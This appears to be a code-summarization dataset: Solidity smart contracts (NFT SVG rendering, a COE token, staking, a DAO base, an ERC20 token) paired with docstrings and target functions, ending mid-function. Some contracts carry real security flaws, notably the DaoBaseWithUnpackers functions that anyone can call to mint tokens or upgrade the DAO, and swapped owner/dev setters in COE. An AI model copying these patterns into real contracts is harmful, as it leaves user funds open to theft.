// SPDX-License-Identifier: GPL-3.0
/// @title A library used to construct ERC721 token URIs and SVG images
/// Copy pasta from Noun contract (thx nounders!)
/*********************************
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
* ░░░░░░█████████░░█████████░░░ *
* ░░░░░░██░░░████░░██░░░████░░░ *
* ░░██████░░░████████░░░████░░░ *
* ░░██░░██░░░████░░██░░░████░░░ *
* ░░██░░██░░░████░░██░░░████░░░ *
* ░░░░░░█████████░░█████████░░░ *
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
*********************************/
pragma solidity ^0.8.6;
import { Base64 } from "base64-sol/base64.sol";
import { MultiPartRLEToSVG } from "./MultiPartRLEToSVG.sol";
library NFTDescriptor {
struct TokenURIParams {
string name;
string description;
bytes[] parts;
string background;
}
/**
* @notice Construct an ERC721 token URI.
*/
function constructTokenURI(TokenURIParams memory params, mapping(uint8 => string[]) storage palettes)
public
view
returns (string memory)
{
string memory image = generateSVGImage(
MultiPartRLEToSVG.SVGParams({ parts: params.parts, background: params.background }),
palettes
);
// prettier-ignore
return string(
abi.encodePacked(
'data:application/json;base64,',
Base64.encode(
bytes(
abi.encodePacked('{"name":"', params.name, '", "description":"', params.description, '", "image": "', 'data:image/svg+xml;base64,', image, '"}')
)
)
)
);
}
/**
* @notice Generate an SVG image for use in the ERC721 token URI.
*/
function generateSVGImage(MultiPartRLEToSVG.SVGParams memory params, mapping(uint8 => string[]) storage palettes)
public
view
returns (string memory svg)
{
return Base64.encode(bytes(MultiPartRLEToSVG.generateSVG(params, palettes)));
}
}
// SPDX-License-Identifier: GPL-3.0
/// @title A library used to convert multi-part RLE compressed images to SVG
/// Copy pasta from Noun contract (thx nounders!)
/*********************************
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
* ░░░░░░█████████░░█████████░░░ *
* ░░░░░░██░░░████░░██░░░████░░░ *
* ░░██████░░░████████░░░████░░░ *
* ░░██░░██░░░████░░██░░░████░░░ *
* ░░██░░██░░░████░░██░░░████░░░ *
* ░░░░░░█████████░░█████████░░░ *
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
*********************************/
pragma solidity ^0.8.6;
library MultiPartRLEToSVG {
struct SVGParams {
bytes[] parts;
string background;
}
struct ContentBounds {
uint8 top;
uint8 right;
uint8 bottom;
uint8 left;
}
struct Rect {
uint8 length;
uint8 colorIndex;
}
struct DecodedImage {
uint8 paletteIndex;
ContentBounds bounds;
Rect[] rects;
}
/**
* @notice Given RLE image parts and color palettes, merge to generate a single SVG image.
*/
function generateSVG(SVGParams memory params, mapping(uint8 => string[]) storage palettes)
internal
view
returns (string memory svg)
{
// prettier-ignore
return string(
abi.encodePacked(
'<svg width="320" height="320" viewBox="0 0 320 320" xmlns="http://www.w3.org/2000/svg" shape-rendering="crispEdges">',
'<rect width="100%" height="100%" fill="#', params.background, '" />',
_generateSVGRects(params, palettes),
'</svg>'
)
);
}
/**
* @notice Given RLE image parts and color palettes, generate SVG rects.
*/
// prettier-ignore
function _generateSVGRects(SVGParams memory params, mapping(uint8 => string[]) storage palettes)
private
view
returns (string memory svg)
{
string[33] memory lookup = [
'0', '10', '20', '30', '40', '50', '60', '70',
'80', '90', '100', '110', '120', '130', '140', '150',
'160', '170', '180', '190', '200', '210', '220', '230',
'240', '250', '260', '270', '280', '290', '300', '310',
'320'
];
string memory rects;
for (uint8 p = 0; p < params.parts.length; p++) {
DecodedImage memory image = _decodeRLEImage(params.parts[p]);
string[] storage palette = palettes[image.paletteIndex];
uint256 currentX = image.bounds.left;
uint256 currentY = image.bounds.top;
uint256 cursor;
string[16] memory buffer;
string memory part;
for (uint256 i = 0; i < image.rects.length; i++) {
Rect memory rect = image.rects[i];
if (rect.colorIndex != 0) {
buffer[cursor] = lookup[rect.length]; // width
buffer[cursor + 1] = lookup[currentX]; // x
buffer[cursor + 2] = lookup[currentY]; // y
buffer[cursor + 3] = palette[rect.colorIndex]; // color
cursor += 4;
if (cursor >= 16) {
part = string(abi.encodePacked(part, _getChunk(cursor, buffer)));
cursor = 0;
}
}
currentX += rect.length;
if (currentX == image.bounds.right) {
currentX = image.bounds.left;
currentY++;
}
}
if (cursor != 0) {
part = string(abi.encodePacked(part, _getChunk(cursor, buffer)));
}
rects = string(abi.encodePacked(rects, part));
}
return rects;
}
/**
* @notice Return a string that consists of all rects in the provided `buffer`.
*/
// prettier-ignore
function _getChunk(uint256 cursor, string[16] memory buffer) private pure returns (string memory) {
string memory chunk;
for (uint256 i = 0; i < cursor; i += 4) {
chunk = string(
abi.encodePacked(
chunk,
'<rect width="', buffer[i], '" height="10" x="', buffer[i + 1], '" y="', buffer[i + 2], '" fill="#', buffer[i + 3], '" />'
)
);
}
return chunk;
}
/**
* @notice Decode a single RLE compressed image into a `DecodedImage`.
*/
function _decodeRLEImage(bytes memory image) private pure returns (DecodedImage memory) {
uint8 paletteIndex = uint8(image[0]);
ContentBounds memory bounds = ContentBounds({
top: uint8(image[1]),
right: uint8(image[2]),
bottom: uint8(image[3]),
left: uint8(image[4])
});
uint256 cursor;
Rect[] memory rects = new Rect[]((image.length - 5) / 2);
for (uint256 i = 5; i < image.length; i += 2) {
rects[cursor] = Rect({ length: uint8(image[i]), colorIndex: uint8(image[i + 1]) });
cursor++;
}
return DecodedImage({ paletteIndex: paletteIndex, bounds: bounds, rects: rects });
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
/// @title Base64
/// @author Brecht Devos - <[email protected]>
/// @notice Provides a function for encoding some bytes in base64
library Base64 {
string internal constant TABLE = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
function encode(bytes memory data) internal pure returns (string memory) {
if (data.length == 0) return '';
// load the table into memory
string memory table = TABLE;
// multiply by 4/3 rounded up
uint256 encodedLen = 4 * ((data.length + 2) / 3);
// add some extra buffer at the end required for the writing
string memory result = new string(encodedLen + 32);
assembly {
// set the actual output length
mstore(result, encodedLen)
// prepare the lookup table
let tablePtr := add(table, 1)
// input ptr
let dataPtr := data
let endPtr := add(dataPtr, mload(data))
// result ptr, jump over length
let resultPtr := add(result, 32)
// run over the input, 3 bytes at a time
for {} lt(dataPtr, endPtr) {}
{
dataPtr := add(dataPtr, 3)
// read 3 bytes
let input := mload(dataPtr)
// write 4 characters
mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(18, input), 0x3F)))))
resultPtr := add(resultPtr, 1)
mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(12, input), 0x3F)))))
resultPtr := add(resultPtr, 1)
mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr( 6, input), 0x3F)))))
resultPtr := add(resultPtr, 1)
mstore(resultPtr, shl(248, mload(add(tablePtr, and( input, 0x3F)))))
resultPtr := add(resultPtr, 1)
}
// padding with '='
switch mod(mload(data), 3)
case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) }
case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) }
}
return result;
}
} | Given a seed, construct a base64 encoded SVG image./ | function generateSVGImage(INounsSeeder.Seed memory seed)
external
view
override
returns (string memory)
{
MultiPartRLEToSVG.SVGParams memory params = MultiPartRLEToSVG
.SVGParams({
parts: _getPartsForSeed(seed),
background: backgrounds[seed.background]
});
return NFTDescriptor.generateSVGImage(params, palettes);
}
| 10,042,712 |
contract Partner {
function exchangeTokensFromOtherContract(address _source, address _recipient, uint256 _RequestedTokens);
}
contract COE {
string public name = "CoEval";
uint8 public decimals = 18;
string public symbol = "COE";
address public _owner;
address public _dev = 0xC96CfB18C39DC02FBa229B6EA698b1AD5576DF4c;
address public _devFeesAddr;
uint256 public _tokePerEth = 177000000000000000;
bool public _coldStorage = true;
bool public _receiveEth = true;
// fees vars - added for future extensibility purposes only
bool _feesEnabled = false;
bool _payFees = false;
uint256 _fees; // the calculation expects % * 100 (so 10% is 1000)
uint256 _lifeVal = 0;
uint256 _feeLimit = 0;
uint256 _devFees = 0;
uint256 public _totalSupply = 100000 * 1 ether;
uint256 public _circulatingSupply = 0;
uint256 public _frozenTokens = 0;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Exchanged(address indexed _from, address indexed _to, uint _value);
// Storage
mapping (address => uint256) public balances;
// list of contract addresses that can request tokens
// use add/remove functions to update
mapping (address => bool) public exchangePartners;
// permitted exch partners and associated token rates
// rate is X target tokens per Y incoming so newTokens = Tokens/Rate
mapping (address => uint256) public exchangeRates;
function COE() {
_owner = msg.sender;
preMine();
}
function preMine() internal {
balances[_owner] = 32664750000000000000000;
Transfer(this, _owner, 32664750000000000000000);
_totalSupply = sub(_totalSupply, 32664750000000000000000);
_circulatingSupply = add(_circulatingSupply, 32664750000000000000000);
}
function transfer(address _to, uint _value, bytes _data) public {
// sender must have enough tokens to transfer
require(balances[msg.sender] >= _value);
if(_to == address(this)) {
// WARNING: if you transfer tokens back to the contract you will lose them
_totalSupply = add(_totalSupply, _value);
balances[msg.sender] = sub(balanceOf(msg.sender), _value);
Transfer(msg.sender, _to, _value);
}
else {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
if(codeLength != 0) {
// only allow transfer to exchange partner contracts - this is handled by another function
exchange(_to, _value);
}
else {
balances[msg.sender] = sub(balanceOf(msg.sender), _value);
balances[_to] = add(balances[_to], _value);
Transfer(msg.sender, _to, _value);
}
}
}
function transfer(address _to, uint _value) public {
/// sender must have enough tokens to transfer
require(balances[msg.sender] >= _value);
if(_to == address(this)) {
// WARNING: if you transfer tokens back to the contract you will lose them
// use the exchange function to exchange for tokens with approved partner contracts
_totalSupply = add(_totalSupply, _value);
balances[msg.sender] = sub(balanceOf(msg.sender), _value);
Transfer(msg.sender, _to, _value);
}
else {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
if(codeLength != 0) {
// only allow transfer to exchange partner contracts - this is handled by another function
exchange(_to, _value);
}
else {
balances[msg.sender] = sub(balanceOf(msg.sender), _value);
balances[_to] = add(balances[_to], _value);
Transfer(msg.sender, _to, _value);
}
}
}
function exchange(address _partner, uint _amount) internal {
require(exchangePartners[_partner]);
require(requestTokensFromOtherContract(_partner, this, msg.sender, _amount));
if(_coldStorage) {
// put the tokens from this contract into cold storage if we need to
// (NB: if these are in reality to be burnt, we just never defrost them)
_frozenTokens = add(_frozenTokens, _amount);
}
else {
// or return them to the available supply if not
_totalSupply = add(_totalSupply, _amount);
}
balances[msg.sender] = sub(balanceOf(msg.sender), _amount);
_circulatingSupply = sub(_circulatingSupply, _amount);
Exchanged(msg.sender, _partner, _amount);
Transfer(msg.sender, this, _amount);
}
// fallback to receive ETH into contract and send tokens back based on current exchange rate
function () payable public {
require((msg.value > 0) && (_receiveEth));
uint256 _tokens = mul(div(msg.value, 1 ether),_tokePerEth);
require(_totalSupply >= _tokens);//, "Insufficient tokens available at current exchange rate");
_totalSupply = sub(_totalSupply, _tokens);
balances[msg.sender] = add(balances[msg.sender], _tokens);
_circulatingSupply = add(_circulatingSupply, _tokens);
Transfer(this, msg.sender, _tokens);
_lifeVal = add(_lifeVal, msg.value);
if(_feesEnabled) {
if(!_payFees) {
// then check whether fees are due and set _payFees accordingly
if(_lifeVal >= _feeLimit) _payFees = true;
}
if(_payFees) {
_devFees = add(_devFees, ((msg.value * _fees) / 10000));
}
}
}
function requestTokensFromOtherContract(address _targetContract, address _sourceContract, address _recipient, uint256 _value) internal returns (bool){
Partner p = Partner(_targetContract);
p.exchangeTokensFromOtherContract(_sourceContract, _recipient, _value);
return true;
}
function exchangeTokensFromOtherContract(address _source, address _recipient, uint256 _RequestedTokens) {
require(exchangeRates[msg.sender] > 0);
uint256 _exchanged = mul(_RequestedTokens, exchangeRates[_source]);
require(_exchanged <= _totalSupply);
balances[_recipient] = add(balances[_recipient],_exchanged);
_totalSupply = sub(_totalSupply, _exchanged);
_circulatingSupply = add(_circulatingSupply, _exchanged);
Exchanged(_source, _recipient, _exchanged);
Transfer(this, _recipient, _exchanged);
}
function changePayRate(uint256 _newRate) public {
require(((msg.sender == _owner) || (msg.sender == _dev)) && (_newRate >= 0));
_tokePerEth = _newRate;
}
function safeWithdrawal(address _receiver, uint256 _value) public {
require((msg.sender == _owner));
uint256 valueAsEth = mul(_value,1 ether);
// if fees are enabled send the dev fees
if(_feesEnabled) {
if(_payFees) _devFeesAddr.transfer(_devFees);
_devFees = 0;
}
// check balance before transferring
require(valueAsEth <= this.balance);
_receiver.transfer(valueAsEth);
}
function balanceOf(address _receiver) public constant returns (uint balance) {
return balances[_receiver];
}
function changeOwner(address _receiver) public {
require(msg.sender == _owner);
_dev = _receiver;
}
function changeDev(address _receiver) public {
require(msg.sender == _dev);
_owner = _receiver;
}
function changeDevFeesAddr(address _receiver) public {
require(msg.sender == _dev);
_devFeesAddr = _receiver;
}
function toggleReceiveEth() public {
require((msg.sender == _dev) || (msg.sender == _owner));
if(!_receiveEth) {
_receiveEth = true;
}
else {
_receiveEth = false;
}
}
function toggleFreezeTokensFlag() public {
require((msg.sender == _dev) || (msg.sender == _owner));
if(!_coldStorage) {
_coldStorage = true;
}
else {
_coldStorage = false;
}
}
function defrostFrozenTokens() public {
require((msg.sender == _dev) || (msg.sender == _owner));
_totalSupply = add(_totalSupply, _frozenTokens);
_frozenTokens = 0;
}
function addExchangePartnerAddressAndRate(address _partner, uint256 _rate) {
require((msg.sender == _dev) || (msg.sender == _owner));
uint codeLength;
assembly {
codeLength := extcodesize(_partner)
}
require(codeLength > 0);
exchangeRates[_partner] = _rate;
}
function addExchangePartnerTargetAddress(address _partner) public {
require((msg.sender == _dev) || (msg.sender == _owner));
exchangePartners[_partner] = true;
}
function removeExchangePartnerTargetAddress(address _partner) public {
require((msg.sender == _dev) || (msg.sender == _owner));
exchangePartners[_partner] = false;
}
function canExchange(address _targetContract) public constant returns (bool) {
return exchangePartners[_targetContract];
}
function contractExchangeRate(address _exchangingContract) public constant returns (uint256) {
return exchangeRates[_exchangingContract];
}
function totalSupply() public constant returns (uint256) {
return _totalSupply;
}
function getBalance() public constant returns (uint256) {
return this.balance;
}
function getLifeVal() public constant returns (uint256) {
require((msg.sender == _owner) || (msg.sender == _dev));
return _lifeVal;
}
function getCirculatingSupply() public constant returns (uint256) {
return _circulatingSupply;
}
function payFeesToggle() {
require((msg.sender == _dev) || (msg.sender == _owner));
if(_payFees) {
_payFees = false;
}
else {
_payFees = true;
}
}
// enables fee update - must be between 0 and 100 (%)
function updateFeeAmount(uint _newFee) public {
require((msg.sender == _dev) || (msg.sender == _owner));
require((_newFee >= 0) && (_newFee <= 100));
_fees = _newFee * 100;
}
function withdrawDevFees() public {
require(_payFees);
_devFeesAddr.transfer(_devFees);
_devFees = 0;
}
function mul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
require(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
require(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a);
return c;
}
} | sender must have enough tokens to transfer WARNING: if you transfer tokens back to the contract you will lose them use the exchange function to exchange for tokens with approved partner contracts only allow transfer to exchange partner contracts - this is handled by another function | function transfer(address _to, uint _value) public {
require(balances[msg.sender] >= _value);
if(_to == address(this)) {
_totalSupply = add(_totalSupply, _value);
balances[msg.sender] = sub(balanceOf(msg.sender), _value);
Transfer(msg.sender, _to, _value);
}
else {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
if(codeLength != 0) {
exchange(_to, _value);
}
else {
balances[msg.sender] = sub(balanceOf(msg.sender), _value);
balances[_to] = add(balances[_to], _value);
Transfer(msg.sender, _to, _value);
}
}
}
| 4,802,708 |
./partial_match/3/0xF88038430085726183702b36a7D163a81528F7f1/sources/SwanStake.sol | _amount - the amount user wants to stake allows the user to stake the initial $2000 worth of SWAN tokens Lists the user as a valid Staker.(by adding True in the isStaker mapping) User can earn comparatively more interest on Future stakes by calling this function/ | function stake(uint256 _amount) external whenNotPaused returns(bool){
require(!isStaker[msg.sender],"Previous Staked Amount is not Withdrawn yet");
require (_amount >= currentPrice.mul(2000),"Staking Amount is Less Than $2000");
require(ERC20(swanTokenAddress).transferFrom(msg.sender,address(this),_amount),"Token Transfer Failed");
stakeAccountDetails[msg.sender] = StakeAccount(
{
stakedAmount:_amount,
time:now,
interestRate:14,
unstaked:false
});
isStaker[msg.sender] = true;
userTotalStakes[msg.sender] += _amount;
emit staked(msg.sender,_amount,4,14);
return true;
}
| 5,069,536 |
pragma solidity ^0.4.22;
import "./DaoStorage.sol";
import "./tokens/StdDaoToken.sol";
import "./IDaoBase.sol";
import "zeppelin-solidity/contracts/ownership/Ownable.sol";
/**
* @title DaoBase
* @dev This is the base contract that you should use.
*
* 1. This contract will be the owner of the 'store' and all 'tokens' inside the store!
* It will transfer ownership only during upgrade
*
* 2. Currently DaoBase works only with StdDaoToken. It does not support working with
* plain ERC20 tokens because we need some extra features like mint(), burn() and transferOwnership()
*/
contract DaoBase is IDaoBase, Ownable {
DaoStorage public store;
constructor(DaoStorage _store) public {
store = _store;
// WARNING: please! do not forget to transfer the store
// ownership to the Dao (this contract)
// Like this:
//
// store.transferOwnership(daoBase);
// WARNING: please! do not forget to transfer all tokens'
// ownership to the Dao (i.e. DaoBase or any derived contract)
// Like this:
//
// token.transferOwnership(daoBase);
}
modifier isCanDo(string _what){
require(_isCanDoAction(msg.sender,_what));
_;
}
// IDaoBase:
function addObserver(IDaoObserver _observer) external {
store.addObserver(_observer);
}
function upgradeDaoContract(IDaoBase _new) external isCanDo("upgradeDaoContract") {
_upgradeDaoContract(_new);
}
function _upgradeDaoContract(IDaoBase _new) internal{
// call observers.onUpgrade() for all observers
for(uint i=0; i<store.getObserverCount(); ++i){
IDaoObserver(store.getObserverAtIndex(i)).onUpgrade(_new);
}
// transfer ownership of the store (this -> _new)
store.transferOwnership(_new);
// transfer ownership of all tokens (this -> _new)
for(i=0; i<store.getAllTokenAddresses().length; ++i){
store.getAllTokenAddresses()[i].transferOwnership(_new);
}
}
// Groups:
function getMembersCount(string _groupName) external constant returns(uint){
return store.getMembersCount(keccak256(_groupName));
}
function addGroupMember(string _groupName, address _a) external isCanDo("manageGroups") {
store.addGroupMember(keccak256(_groupName), _a);
}
function getGroupMembers(string _groupName) external constant returns(address[]){
return store.getGroupMembers(keccak256(_groupName));
}
function removeGroupMember(string _groupName, address _a) external isCanDo("manageGroups"){
store.removeGroupMember(keccak256(_groupName), _a);
}
function isGroupMember(string _groupName,address _a)external constant returns(bool) {
return store.isGroupMember(keccak256(_groupName), _a);
}
// Actions:
function allowActionByShareholder(string _what, address _tokenAddress) external isCanDo("manageGroups"){
store.allowActionByShareholder(keccak256(_what), _tokenAddress);
}
function allowActionByVoting(string _what, address _tokenAddress) external isCanDo("manageGroups"){
store.allowActionByVoting(keccak256(_what),_tokenAddress);
}
function allowActionByAddress(string _what, address _a) external isCanDo("manageGroups") {
store.allowActionByAddress(keccak256(_what),_a);
}
function allowActionByAnyMemberOfGroup(string _what, string _groupName) external isCanDo("manageGroups"){
store.allowActionByAnyMemberOfGroup(keccak256(_what), keccak256(_groupName));
}
/**
* @dev Function that will check if action is DIRECTLY callable by msg.sender (account or another contract)
* How permissions works now:
* 1. if caller is in the whitelist -> allow
* 2. if caller is in the group and this action can be done by group members -> allow
* 3. if caller is shareholder and this action can be done by a shareholder -> allow
* 4. if this action requires voting
* a. caller is in the majority -> allow
* b. caller is voting and it is succeeded -> allow
* 4. deny
*/
function isCanDoAction(address _a, string _permissionName) external constant returns(bool){
return _isCanDoAction(_a, _permissionName);
}
function _isCanDoAction(address _a, string _permissionName) internal constant returns(bool){
bytes32 _permissionNameHash = keccak256(_permissionName);
// 0 - is can do by address?
if(store.isCanDoByAddress(_permissionNameHash, _a)){
return true;
}
// 1 - check if group member can do that without voting?
if(store.isCanDoByGroupMember(_permissionNameHash, _a)){
return true;
}
for(uint i=0; i<store.getAllTokenAddresses().length; ++i){
// 2 - check if shareholder can do that without voting?
if(store.isCanDoByShareholder(_permissionNameHash, store.getAllTokenAddresses()[i]) &&
(store.getAllTokenAddresses()[i].balanceOf(_a)!=0)){
return true;
}
// 3 - can do action only by starting new vote first?
bool isCan = store.isCanDoByVoting(_permissionNameHash, store.getAllTokenAddresses()[i]);
if(isCan){
bool isVotingFound = false;
bool votingResult = false;
(isVotingFound, votingResult) = store.getProposalVotingResults(_a);
if(isVotingFound){
// if this action can be done by voting, then Proposal can do this action
// from within its context
// in this case msg.sender is a Voting!
return votingResult;
}
// 4 - only token holders with > 51% of gov.tokens can add new task immediately
// otherwise -> start voting
bool isInMajority =
(store.getAllTokenAddresses()[i].balanceOf(_a)) >
(store.getAllTokenAddresses()[i].totalSupply()/2);
if(isInMajority){
return true;
}
}
}
return false;
}
// Proposals:
function addNewProposal(IProposal _proposal) external isCanDo("addNewProposal") {
store.addNewProposal(_proposal);
}
function getProposalAtIndex(uint _i)external constant returns(IProposal){
return store.getProposalAtIndex(_i);
}
function getProposalsCount()external constant returns(uint){
return store.getProposalsCount();
}
// Tokens:
function issueTokens(address _tokenAddress, address _to, uint _amount)external isCanDo("issueTokens") {
_issueTokens(_tokenAddress,_to,_amount);
}
function _issueTokens(address _tokenAddress, address _to, uint _amount)internal{
for(uint i=0; i<store.getAllTokenAddresses().length; ++i){
if(store.getAllTokenAddresses()[i]==_tokenAddress){
// WARNING:
// token ownership should be transferred to the current DaoBase to do that!!!
store.getAllTokenAddresses()[i].mint(_to, _amount);
return;
}
}
// if not found!
revert();
}
function burnTokens(address _tokenAddress, address _who, uint _amount)external isCanDo("burnTokens"){
for(uint i=0; i<store.getAllTokenAddresses().length; ++i){
if(store.getAllTokenAddresses()[i]==_tokenAddress){
// WARNING:
// token ownership should be transferred to the current DaoBase to do that!!!
store.getAllTokenAddresses()[i].burn(_who, _amount);
return;
}
}
// if not found!
revert();
}
}
/**
* @title DaoBaseWithUnpackers
* @dev Use this contract instead of DaoBase if you need DaoBaseAuto.
* It features method unpackers that will convert bytes32[] params to the method params.
*
* When DaoBaseAuto will creates voting/proposal -> it packs params into the bytes32[]
* After voting is finished -> target method is called and params should be unpacked
*/
contract DaoBaseWithUnpackers is DaoBase {
constructor(DaoStorage _store) public
DaoBase(_store)
{
}
function upgradeDaoContractGeneric(bytes32[] _params) external {
IDaoBase _b = IDaoBase(address(_params[0]));
_upgradeDaoContract(_b);
}
function addGroupMemberGeneric(bytes32[] _params) external {
bytes32 group = bytes32(_params[0]);
address a = address(_params[1]);
// direct call to storage here, instead of calling DaoBase.addGroupMember(string, address);
store.addGroupMember(keccak256(group), a);
}
function issueTokensGeneric(bytes32[] _params) external {
address _tokenAddress = address(_params[0]);
address _to = address(_params[1]);
uint _amount = uint(_params[2]);
_issueTokens(_tokenAddress, _to, _amount);
}
// TODO: add other methods:
/*
function removeGroupMember(string _groupName, address _a) public isCanDo("manageGroups"){
function allowActionByShareholder(string _what, address _tokenAddress) public isCanDo("manageGroups"){
function allowActionByVoting(string _what, address _tokenAddress) public isCanDo("manageGroups"){
function allowActionByAddress(string _what, address _a) public isCanDo("manageGroups"){
function allowActionByAnyMemberOfGroup(string _what, string _groupName) public isCanDo("manageGroups"){
*/
}
| WARNING: token ownership should be transferred to the current DaoBase to do that!!! | function burnTokens(address _tokenAddress, address _who, uint _amount)external isCanDo("burnTokens"){
for(uint i=0; i<store.getAllTokenAddresses().length; ++i){
if(store.getAllTokenAddresses()[i]==_tokenAddress){
store.getAllTokenAddresses()[i].burn(_who, _amount);
return;
}
}
}
| 1,014,928 |
pragma solidity ^0.4.17;
// File: contracts\helpers\Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Constructor sets the original owner of the contract to the
* sender account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any other account other than owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: contracts\helpers\SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts\token\ERC20Interface.sol
contract ERC20Interface {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
}
// File: contracts\token\BaseToken.sol
contract BaseToken is ERC20Interface {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 totalSupply_;
/**
* @dev Obtain total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
require(_spender != address(0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint256 _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
